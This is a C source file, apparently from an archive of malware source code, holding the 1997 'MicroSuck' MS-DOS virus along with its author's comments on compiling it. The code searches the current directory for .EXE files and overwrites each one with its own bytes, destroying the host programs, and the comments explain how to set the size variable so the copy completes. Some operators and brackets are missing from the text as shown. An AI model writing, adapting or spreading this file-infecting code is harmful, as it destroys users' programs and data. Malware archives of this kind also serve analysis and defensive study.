MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.microsuck.c
2021-01-12 17:49:21 -06:00

42 lines
1.9 KiB
C

/* MicroSuck V.1.0 (c)YeahRight! 1997 By: Techno Phunk
one of many high level language viruses writen to shut
up some of the people in a.c.v.s.c (alt.comp.virus.source.code)
and to show them that it can be done (even by me who has only about
2 hours of C++ experience) compile with tc.exe (editor), exe normal
This is based on the C++ virus in virology 101, since it is what I
looked at to see how to write a virus in C++ I added something
before puting it here, and forgot to check for the new size
so YOU will have to compile it once, look at the size, then change
the variable x to the size....otherwise the "virus" will not be copied
compleatly */
#include <stdio.h
#include <dir.h
#include <dos.h
FILE *Virus,*Host;
char buff[512];
int x,y,done;
struct ffblk ffblk;
int main()
{
done = findfirst("*.EXE",&ffblk,0); /* Find a host (EXE file) */
while (!done)
{
Host=fopen(ffblk.ff_name,"rb+"); /* Open host */
Virus=fopen(_argv[0],"rb"); /* Open our virus */
/* may need to modify the next line */
x=12099; /* our lifeforms size */
while (x512) /* here we overwrite the host */
{ /* 512 byte chunks at a time */
fread(buff,512,1,Virus); /* ^ sector size ;), could be anything */
fwrite(buff,512,1,Host);
x-=512;
} /* if 512 or less byes */
fread(buff,x,1,Virus); /* Finish infection */
fwrite(buff,x,1,Host);
fcloseall(); /* Close */
done = findnext(&ffblk); /* try agian */
}
mkdir ("MicroSuck (c) 1997 By: Techno Phunk") /* activation would go */
/* here */
return (0); /* Terminate */
}